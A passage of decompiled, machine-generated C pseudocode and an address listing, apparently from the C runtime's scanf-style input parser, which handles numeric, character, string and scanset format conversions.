																							__al =  *(__ebp - 0x29) + 1;
																							__eflags = __al;
																							 *(__ebp - 0x29) = __al;
																						}
																						L77:
																						while(1) {
																							L102:
																							 *(_t1200 - 0x48) =  *(_t1200 - 0x7c);
																							_t987 =  *(_t1200 - 0xc) - 1;
																							 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																							E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																							_t1204 = _t1203 + 8;
																							__eflags =  *(_t1200 - 0x44) - 0x63;
																							if( *(_t1200 - 0x44) != 0x63) {
																								_t987 =  *(_t1200 - 0x18) - 1;
																								__eflags = _t987;
																								 *(_t1200 - 0x18) = _t987;
																							}
																							L104:
																							__eflags =  *(_t1200 - 0x1f0);
																							if( *(_t1200 - 0x1f0) == 0) {
																								goto L106;
																							}
																							goto L105;
																						}
																					case 7:
																						L168:
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L170:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								L175:
																								__eflags =  *(__ebp - 0x21c) - 0x30;
																								if( *(__ebp - 0x21c) != 0x30) {
																									L188:
																									L197:
																									__eflags =  *(__ebp - 0x30);
																									if( *(__ebp - 0x30) == 0) {
																										while(1) {
																											L225:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												break;
																											}
																											L226:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																											if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																												L228:
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													 *(__ebp - 0x21c) = E00426C90(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																												}
																												L241:
																												__eax =  *(__ebp - 0x1e);
																												__eflags =  *(__ebp - 0x1e);
																												if( *(__ebp - 0x1e) != 0) {
																													L247:
																													__eax =  *(__ebp - 0xc);
																													__eax =  *(__ebp - 0xc) - 1;
																													__eflags = __eax;
																													 *(__ebp - 0xc) = __eax;
																													__ecx =  *(__ebp + 8);
																													__edx =  *(__ebp - 0x21c);
																													__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																													L248:
																													continue;
																												}
																												L242:
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												__edx =  *(__ebp - 0x21c);
																												__eax =  *(__ebp - 0x220);
																												__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																												 *(__ebp - 0x220) = __ecx;
																												__eflags =  *(__ebp - 0x1f0);
																												if( *(__ebp - 0x1f0) == 0) {
																													L245:
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																													L246:
																													goto L248;
																												}
																												L243:
																												__edx =  *(__ebp - 0x78);
																												__edx =  *(__ebp - 0x78) - 1;
																												__eflags = __edx;
																												 *(__ebp - 0x78) = __edx;
																												if(__edx != 0) {
																													goto L245;
																												}
																												L244:
																												 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																												 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																												goto L246;
																											}
																											L227:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																												L232:
																												__edx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__dl =  *(__ebp - 0x1e);
																													__dl =  *(__ebp - 0x1e) + 1;
																													__eflags = __dl;
																													 *(__ebp - 0x1e) = __dl;
																												} else {
																													__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																													if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																														__edx =  *(__ebp - 0x220);
																														__eax =  *(__ebp - 0x220);
																														__ecx = __eax + __edx * 4;
																														__ecx = __eax + __edx * 4 << 1;
																														__eflags = __ecx;
																														 *(__ebp - 0x220) = __ecx;
																													} else {
																														__eflags =  *(__ebp - 0x21c) - 0x38;
																														if( *(__ebp - 0x21c) >= 0x38) {
																															__cl =  *(__ebp - 0x1e);
																															__cl =  *(__ebp - 0x1e) + 1;
																															__eflags = __cl;
																															 *(__ebp - 0x1e) = __cl;
																														} else {
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														}
																													}
																												}
																												goto L241;
																											}
																											goto L228;
																										}
																										L249:
																										__eax =  *((char*)(__ebp - 2));
																										__eflags =  *((char*)(__ebp - 2));
																										if( *((char*)(__ebp - 2)) != 0) {
																											__ecx =  *(__ebp - 0x220);
																											__ecx =  ~( *(__ebp - 0x220));
																											 *(__ebp - 0x220) = __ecx;
																										}
																										L251:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																											 *(__ebp - 0x1f4) = 0;
																										}
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L262:
																											goto L334;
																										} else {
																											L254:
																											__edx =  *((char*)(__ebp - 0x12));
																											__eflags =  *((char*)(__ebp - 0x12));
																											if( *((char*)(__ebp - 0x12)) != 0) {
																												L261:
																												while(1) {
																													L317:
																													 *(_t1200 - 0x1e9) =  *(_t1200 - 0x1e9) + 1;
																													 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
																													goto L329;
																												}
																											}
																											L255:
																											__eax =  *(__ebp - 8);
																											__eax =  *(__ebp - 8) + 1;
																											__eflags = __eax;
																											 *(__ebp - 8) = __eax;
																											L256:
																											__eflags =  *(__ebp - 0x30);
																											if( *(__ebp - 0x30) == 0) {
																												__ecx =  *(__ebp - 0x1d);
																												__eflags = __ecx;
																												if(__ecx == 0) {
																													__ecx =  *(__ebp - 0x7c);
																													 *__ecx =  *(__ebp - 0x220);
																												} else {
																													__edx =  *(__ebp - 0x7c);
																													__eax =  *(__ebp - 0x220);
																													 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																												}
																											} else {
																												__ecx =  *(__ebp - 0x7c);
																												__edx =  *(__ebp - 0x200);
																												 *__ecx =  *(__ebp - 0x200);
																												__eax =  *(__ebp - 0x1fc);
																												 *(__ecx + 4) =  *(__ebp - 0x1fc);
																											}
																											goto L261;
																										}
																									} else {
																										goto L198;
																									}
																									while(1) {
																										L198:
																										__edx =  *(__ebp - 0x1e);
																										__eflags =  *(__ebp - 0x1e);
																										if( *(__ebp - 0x1e) != 0) {
																											break;
																										}
																										L199:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																											L201:
																											__eax =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eax =  *(__ebp - 0x200);
																												__edx =  *(__ebp - 0x1fc);
																												__cl = 4;
																												 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																												 *(__ebp - 0x1fc) = __edx;
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												 *(__ebp - 0x21c) = E00426C90( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																											}
																											L214:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												L220:
																												__eax =  *(__ebp - 0xc);
																												__eax =  *(__ebp - 0xc) - 1;
																												__eflags = __eax;
																												 *(__ebp - 0xc) = __eax;
																												__ecx =  *(__ebp + 8);
																												__edx =  *(__ebp - 0x21c);
																												__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																												L221:
																												continue;
																											}
																											L215:
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
																											asm("cdq");
																											__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																											__ecx =  *(__ebp - 0x1fc);
																											asm("adc ecx, edx");
																											 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																											 *(__ebp - 0x1fc) = __ecx;
																											__eflags =  *(__ebp - 0x1f0);
																											if( *(__ebp - 0x1f0) == 0) {
																												L218:
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												L219:
																												goto L221;
																											}
																											L216:
																											__edx =  *(__ebp - 0x78);
																											__edx =  *(__ebp - 0x78) - 1;
																											__eflags = __edx;
																											 *(__ebp - 0x78) = __edx;
																											if(__edx != 0) {
																												goto L218;
																											}
																											L217:
																											 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																											 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																											goto L219;
																										}
																										L200:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																											L205:
																											__eax =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																													__eax =  *(__ebp - 0x200);
																													__edx =  *(__ebp - 0x1fc);
																													__cl = 2;
																													__eax = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																													__eax = __eax +  *(__ebp - 0x200);
																													__eflags = __eax;
																													asm("adc edx, [ebp-0x1fc]");
																													__cl = 1;
																													 *(__ebp - 0x200) = __eax;
																													 *(__ebp - 0x1fc) = __edx;
																												} else {
																													__eflags =  *(__ebp - 0x21c) - 0x38;
																													if( *(__ebp - 0x21c) >= 0x38) {
																														__cl =  *(__ebp - 0x1e);
																														__cl =  *(__ebp - 0x1e) + 1;
																														__eflags = __cl;
																														 *(__ebp - 0x1e) = __cl;
																													} else {
																														__eax =  *(__ebp - 0x200);
																														__edx =  *(__ebp - 0x1fc);
																														__cl = 3;
																														 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																														 *(__ebp - 0x1fc) = __edx;
																													}
																												}
																											}
																											goto L214;
																										}
																										goto L201;
																									}
																									L222:
																									__eax =  *((char*)(__ebp - 2));
																									__eflags =  *((char*)(__ebp - 2));
																									if( *((char*)(__ebp - 2)) != 0) {
																										__ecx =  *(__ebp - 0x200);
																										__ecx =  ~( *(__ebp - 0x200));
																										__edx =  *(__ebp - 0x1fc);
																										asm("adc edx, 0x0");
																										__edx =  ~( *(__ebp - 0x1fc));
																										 *(__ebp - 0x200) = __ecx;
																										 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																									}
																									goto L251;
																								}
																								L176:
																								__ecx =  *(__ebp - 0xc);
																								__ecx =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) = __ecx;
																								__edx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																								__eax =  *(__ebp - 0x21c);
																								__eflags =  *(__ebp - 0x21c) - 0x78;
																								if( *(__ebp - 0x21c) == 0x78) {
																									L178:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									__eax =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) != 0) {
																										__ecx =  *(__ebp - 0x78);
																										__ecx =  *(__ebp - 0x78) - 2;
																										 *(__ebp - 0x78) = __ecx;
																										__eflags =  *(__ebp - 0x78) - 1;
																										if( *(__ebp - 0x78) < 1) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										}
																									}
																									 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																									goto L188;
																								}
																								L177:
																								__ecx =  *(__ebp - 0x21c);
																								__eflags = __ecx - 0x58;
																								if(__ecx != 0x58) {
																									L182:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																										__eax =  *(__ebp - 0xc);
																										__eax =  *(__ebp - 0xc) - 1;
																										__eflags = __eax;
																										 *(__ebp - 0xc) = __eax;
																										__ecx =  *(__ebp + 8);
																										__edx =  *(__ebp - 0x21c);
																										__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																										 *(__ebp - 0x21c) = 0x30;
																									} else {
																										__eflags =  *(__ebp - 0x1f0);
																										if( *(__ebp - 0x1f0) != 0) {
																											__ecx =  *(__ebp - 0x78);
																											__ecx =  *(__ebp - 0x78) - 1;
																											__eflags = __ecx;
																											 *(__ebp - 0x78) = __ecx;
																											if(__ecx == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											}
																										}
																										 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																									}
																									goto L188;
																								}
																								goto L178;
																							}
																							L171:
																							__eax =  *(__ebp - 0x78);
																							__eax =  *(__ebp - 0x78) - 1;
																							__eflags = __eax;
																							 *(__ebp - 0x78) = __eax;
																							if(__eax != 0) {
																								L174:
																								__edx =  *(__ebp - 0xc);
																								__edx =  *(__ebp - 0xc) + 1;
																								__eflags = __edx;
																								 *(__ebp - 0xc) = __edx;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																								goto L175;
																							}
																							L172:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								goto L174;
																							}
																							L173:
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							goto L175;
																						}
																						L169:
																						 *((intOrPtr*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						 *((char*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						goto L171;
																					case 8:
																						goto L0;
																					case 9:
																						goto L312;
																				}
																			}
																			L60:
																			__eflags =  *(_t1200 - 0x44) - 0x63;
																			if( *(_t1200 - 0x44) == 0x63) {
																				L63:
																				 *((intOrPtr*)(_t1200 + 0x14)) =  *((intOrPtr*)(_t1200 - 0x1c));
																				 *((intOrPtr*)(_t1200 + 0x14)) =  *((intOrPtr*)(_t1200 + 0x14)) + 4;
																				 *(_t1200 - 0x7c) =  *( *((intOrPtr*)(_t1200 + 0x14)) - 4);
																				 *((intOrPtr*)(_t1200 - 0x1c)) =  *((intOrPtr*)(_t1200 + 0x14));
																				 *((intOrPtr*)(_t1200 + 0x14)) =  *((intOrPtr*)(_t1200 + 0x14)) + 4;
																				 *(_t1200 - 0x18) =  *( *((intOrPtr*)(_t1200 + 0x14)) - 4);
																				_t1033 =  *(_t1200 - 0x18);
																				 *(_t1200 - 0x34) =  *(_t1200 - 0x18);
																				__eflags =  *(_t1200 - 0x18) - 1;
																				if( *(_t1200 - 0x18) >= 1) {
																					goto L68;
																				} else {
																					_t1106 =  *(_t1200 - 0x215);
																					__eflags =  *(_t1200 - 0x215);
																					if( *(_t1200 - 0x215) <= 0) {
																						_t1106 =  *(_t1200 - 0x7c);
																						 *( *(_t1200 - 0x7c)) = 0;
																					} else {
																						_t1033 =  *(_t1200 - 0x7c);
																						 *( *(_t1200 - 0x7c)) = 0;
																					}
																					 *((intOrPtr*)(L0041F530(_t1033))) = 0xc;
																					goto L334;
																				}
																			}
																			L61:
																			__eflags =  *(_t1200 - 0x44) - 0x73;
																			if( *(_t1200 - 0x44) == 0x73) {
																				goto L63;
																			}
																			L62:
																			__eflags =  *(_t1200 - 0x44) - 0x7b;
																			if( *(_t1200 - 0x44) != 0x7b) {
																				goto L68;
																			}
																			goto L63;
																		}
																		L58:
																		__eflags =  *(_t1200 - 0x78);
																		if( *(_t1200 - 0x78) == 0) {
																			L318:
																			 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
																			_t1106 =  *(_t1200 - 0x21c);
																			E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
																			_t1204 = _t1204 + 8;
																			goto L334;
																		}
																		goto L59;
																	}
																	L55:
																	__eflags =  *(_t1200 - 0x21c) - 0xffffffff;
																	if( *(_t1200 - 0x21c) != 0xffffffff) {
																		goto L57;
																	} else {
																		goto L334;
																	}
																}
																L50:
																__eflags =  *(_t1200 - 0x44) - 0x63;
																if( *(_t1200 - 0x44) == 0x63) {
																	L53:
																	_t1106 =  *(_t1200 - 0xc) + 1;
																	__eflags = _t1106;
																	 *(_t1200 - 0xc) = _t1106;
																	_t889 = E00426CD0(_t1019,  *(_t1200 + 8));
																	_t1204 = _t1204 + 4;
																	 *(_t1200 - 0x21c) = _t889;
																	goto L54;
																}
																L51:
																__eflags =  *(_t1200 - 0x44) - 0x7b;
																if( *(_t1200 - 0x44) == 0x7b) {
																	goto L53;
																} else {
																	_t891 = E00426D50(_t982, _t1200 - 0xc, _t1198, _t1199, _t1200 - 0xc,  *(_t1200 + 8));
																	_t1204 = _t1204 + 8;
																	 *(_t1200 - 0x21c) = _t891;
																	goto L54;
																}
															} else {
																L45:
																__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) - 0x53;
																if(( *( *(_t1200 + 0xc)) & 0x000000ff) == 0x53) {
																	L47:
																	 *(_t1200 - 0x215) =  *(_t1200 - 0x215) + 1;
																	goto L49;
																}
																L46:
																__eflags = ( *( *(_t1200 + 0xc)) & 0x000000ff) - 0x43;
																if(( *( *(_t1200 + 0xc)) & 0x000000ff) != 0x43) {
																	_t894 =  *(_t1200 - 0x215) - 1;
																	__eflags = _t894;
																	 *(_t1200 - 0x215) = _t894;
																	goto L49;
																}
																goto L47;
															}
														}
													} else {
														 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
														E00426D30(E00426D50(_t982,  *(_t1200 + 8), _t1198, _t1199, _t1200 - 0xc,  *(_t1200 + 8)),  *(_t1200 + 8));
														_t1210 = _t1204 + 0x10;
														do {
															L4:
															 *(_t1200 + 0xc) =  *(_t1200 + 0xc) + 1;
															 *(_t1200 - 0x71) =  *( *(_t1200 + 0xc));
															_t912 = E004328C0(_t982, _t1198, _t1199,  *(_t1200 - 0x71) & 0x000000ff);
															_t1210 = _t1210 + 4;
														} while (_t912 != 0);
														continue;
													}
												}
												goto L334;
											}
										}
									}
									L128:
									 *((intOrPtr*)(L0041F530(_t987))) = 0xc;
									__eflags =  *(_t1200 - 0x29);
									if( *(_t1200 - 0x29) == 0) {
										_t1106 =  *(_t1200 - 0x48);
										 *( *(_t1200 - 0x48)) = 0;
										__eflags =  *(_t1200 - 0x34) - 0xffffffff;
										if( *(_t1200 - 0x34) != 0xffffffff) {
											__eflags =  *(_t1200 - 0x34) - 0x7fffffff;
											if( *(_t1200 - 0x34) != 0x7fffffff) {
												__eflags =  *(_t1200 - 0x34) - 1;
												if( *(_t1200 - 0x34) > 1) {
													__eflags =  *0x43d1bc -  *(_t1200 - 0x34) - 1;
													if( *0x43d1bc >=  *(_t1200 - 0x34) - 1) {
														_t1106 =  *(_t1200 - 0x34) - 1;
														__eflags = _t1106;
														 *(_t1200 - 0x268) = _t1106;
													} else {
														 *(_t1200 - 0x268) =  *0x43d1bc;
													}
													__eflags =  *(_t1200 - 0x48) + 1;
													E0041BED0(_t1198,  *(_t1200 - 0x48) + 1, 0xfe,  *(_t1200 - 0x268));
													_t1204 = _t1204 + 0xc;
												}
											}
										}
									} else {
										_t1106 =  *(_t1200 - 0x48);
										 *( *(_t1200 - 0x48)) = 0;
										__eflags =  *(_t1200 - 0x34) - 0xffffffff;
										if( *(_t1200 - 0x34) != 0xffffffff) {
											__eflags =  *(_t1200 - 0x34) - 0x7fffffff;
											if( *(_t1200 - 0x34) != 0x7fffffff) {
												__eflags =  *(_t1200 - 0x34) - 1;
												if( *(_t1200 - 0x34) > 1) {
													__eflags =  *0x43d1bc -  *(_t1200 - 0x34) - 1; // 0xffffffff
													if(__eflags >= 0) {
														_t1106 =  *(_t1200 - 0x34) - 1;
														__eflags = _t1106;
														 *(_t1200 - 0x264) = _t1106;
													} else {
														_t1068 =  *0x43d1bc; // 0xffffffff
														 *(_t1200 - 0x264) = _t1068;
													}
													__eflags =  *(_t1200 - 0x48) + 2;
													E0041BED0(_t1198,  *(_t1200 - 0x48) + 2, 0xfe,  *(_t1200 - 0x264) << 1);
													_t1204 = _t1204 + 0xc;
												}
											}
										}
									}
									goto L334;
								}
								L106:
								 *(_t1200 - 0xc) =  *(_t1200 - 0xc) + 1;
								_t828 = E00426CD0( *(_t1200 - 0xc) + 1,  *(_t1200 + 8));
								_t1204 = _t1204 + 4;
								 *(_t1200 - 0x21c) = _t828;
								__eflags =  *(_t1200 - 0x21c) - 0xffffffff;
								if( *(_t1200 - 0x21c) == 0xffffffff) {
									L125:
									 *(_t1200 - 0xc) =  *(_t1200 - 0xc) - 1;
									_t987 =  *(_t1200 + 8);
									E00426D30( *(_t1200 - 0x21c),  *(_t1200 + 8));
									_t1204 = _t1204 + 8;
									goto L127;
								}
								L107:
								__eflags =  *(_t1200 - 0x44) - 0x63;
								if( *(_t1200 - 0x44) == 0x63) {
									L114:
									_t987 =  *((char*)(_t1200 - 0x12));
									__eflags =  *((char*)(_t1200 - 0x12));
									if( *((char*)(_t1200 - 0x12)) != 0) {
										L123:
										_t1167 =  *(_t1200 - 0x48) + 1;
										__eflags = _t1167;
										 *(_t1200 - 0x48) = _t1167;
										L124:
										continue;
									}
									L115:
									__eflags =  *(_t1200 - 0x18);
									if( *(_t1200 - 0x18) != 0) {
										L117:
										__eflags =  *(_t1200 - 0x29);
										if( *(_t1200 - 0x29) == 0) {
											 *( *(_t1200 - 0x7c)) =  *(_t1200 - 0x21c);
											 *(_t1200 - 0x7c) =  *(_t1200 - 0x7c) + 1;
											_t987 =  *(_t1200 - 0x18) - 1;
											__eflags = _t987;
											 *(_t1200 - 0x18) = _t987;
										} else {
											 *((char*)(_t1200 - 0x238)) =  *(_t1200 - 0x21c);
											_t1071 =  *(_t1200 - 0x21c) & 0x000000ff;
											_t949 = E0042F0A0( *(_t1200 - 0x21c) & 0x000000ff);
											_t1211 = _t1204 + 4;
											__eflags = _t949;
											if(_t949 != 0) {
												_t1176 =  *(_t1200 - 0xc) + 1;
												__eflags = _t1176;
												 *(_t1200 - 0xc) = _t1176;
												_t958 = E00426CD0(_t1071,  *(_t1200 + 8));
												_t1211 = _t1211 + 4;
												 *((char*)(_t1200 - 0x237)) = _t958;
											}
											 *((short*)(_t1200 - 0x3c)) = 0x3f;
											_t950 = E0041EA40(_t1200 - 0x214);
											E0042F0C0(_t1200 - 0x3c, _t1200 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t1200 - 0x214))) + 0xac)), _t950);
											_t1204 = _t1211 + 0x10;
											_t987 =  *((intOrPtr*)(_t1200 - 0x3c));
											 *( *(_t1200 - 0x7c)) =  *((intOrPtr*)(_t1200 - 0x3c));
											 *(_t1200 - 0x7c) =  *(_t1200 - 0x7c) + 2;
											 *(_t1200 - 0x18) =  *(_t1200 - 0x18) - 1;
										}
										goto L124;
									}
									L116:
									 *(_t1200 - 0x40) = 1;
									goto L127;
								}
								L108:
								__eflags =  *(_t1200 - 0x44) - 0x73;
								if( *(_t1200 - 0x44) != 0x73) {
									L112:
									__eflags =  *(_t1200 - 0x44) - 0x7b;
									if( *(_t1200 - 0x44) != 0x7b) {
										goto L125;
									}
									L113:
									_t960 =  *(_t1200 - 0x21c) >> 3;
									_t1076 =  *((intOrPtr*)(_t1200 - 0x4c));
									__eflags = ( *(_t1076 + _t960) ^  *(_t1200 - 3)) & 0x00000001 << ( *(_t1200 - 0x21c) & 0x00000007);
									if((( *(_t1076 + _t960) ^  *(_t1200 - 3)) & 0x00000001 << ( *(_t1200 - 0x21c) & 0x00000007)) == 0) {
										goto L125;
									}
									goto L114;
								}
								L109:
								__eflags =  *(_t1200 - 0x21c) - 9;
								if( *(_t1200 - 0x21c) < 9) {
									L111:
									__eflags =  *(_t1200 - 0x21c) - 0x20;
									if( *(_t1200 - 0x21c) != 0x20) {
										goto L114;
									}
									goto L112;
								}
								L110:
								__eflags =  *(_t1200 - 0x21c) - 0xd;
								if( *(_t1200 - 0x21c) <= 0xd) {
									goto L112;
								}
								goto L111;
							}
						}
					}
					L99:
					goto L334;
				}
			}

0x00425870
0x00425870
0x00425870
0x00425870
0x00425879
0x0042587b
0x0042587e
0x0042587e
0x00425881
0x00425881
0x00425884
0x0042588a
0x00425890
0x00425899
0x0042589c
0x004258a4
0x004258aa
0x004258aa
0x004258ad
0x004258ad
0x004258b0
0x004258b8
0x004258bd
0x004258c0
0x004258c4
0x004258cc
0x004258cf
0x004258d1
0x004258d8
0x004258d8
0x004258db
0x004258e1
0x004258e1
0x004258cf
0x004258e5
0x004258e5
0x004258eb
0x004258ee
0x00000000
0x00000000
0x004258f4
0x004258f9
0x00425902
0x00425909
0x0042590c
0x00425921
0x00425924
0x0042594f
0x004259d2
0x00000000
0x004259d2
0x0042590e
0x00425912
0x00425914
0x00000000
0x00000000
0x00425916
0x0042591c
0x0042591f
0x00425954
0x00425959
0x00425962
0x0042596d
0x0042596f
0x0042597c
0x00425982
0x00425971
0x00425974
0x00425974
0x00425988
0x00425995
0x00425995
0x0042599d
0x0042599f
0x00000000
0x00000000
0x004259a1
0x004259c9
0x00425990
0x00425990
0x00425992
0x00425992
0x004259ce
0x004259ce
0x00000000
0x004259ce
0x00000000
0x0042591f
0x004259d7
0x004259dd
0x004259df
0x004259e6
0x004259e6
0x004259ea
0x004259ef
0x004259ef
0x004259f2
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00425a2c
0x00425a35
0x00425a38
0x00425a3a
0x00425bd3
0x00425bd3
0x00425bd7
0x00425cb7
0x00425cb7
0x00425cba
0x00425cbd
0x00425df8
0x00426998
0x00426998
0x0042699c
0x004269a7
0x004269ac
0x004269ac
0x004269af
0x004269b6
0x00426a05
0x00426a05
0x00426a09
0x00426aad
0x00426aad
0x00426ab0
0x00426abc
0x00426ac1
0x00000000
0x00426ac1
0x00426a0f
0x00426a0f
0x00426a11
0x00426a1f
0x00426a13
0x00426a13
0x00426a13
0x00426a29
0x00426a2f
0x00426a35
0x00426a3c
0x00426a3e
0x00426a43
0x00426a45
0x00426a4a
0x00426a4f
0x00426a51
0x00426a56
0x00426a59
0x00426a5c
0x00426a5e
0x00426a5e
0x00426a5c
0x00426a5f
0x00426a66
0x00000000
0x00426a68
0x00426a68
0x00426a6d
0x00426a89
0x00426a94
0x00426aa0
0x00426aa5
0x00000000
0x00426aa5
0x004269b8
0x004269b8
0x004269b8
0x004269bc
0x004269d5
0x004269d5
0x004269d8
0x004269de
0x004269e4
0x004269f0
0x004269f5
0x00426ac7
0x00426aca
0x00426ad4
0x00426ad4
0x004269be
0x004269c5
0x004269c7
0x00000000
0x00000000
0x004269c9
0x004269c9
0x00000000
0x004269c9
0x004269b6
0x00425cc3
0x00425cc7
0x00425cc9
0x00425cd5
0x00425cd8
0x00425cdc
0x00425ce6
0x00425ce8
0x00425d7c
0x00425d7f
0x00425d83
0x00425d85
0x00425d8c
0x00425d97
0x00425d9a
0x00425daa
0x00425db0
0x00425dcc
0x00425dcc
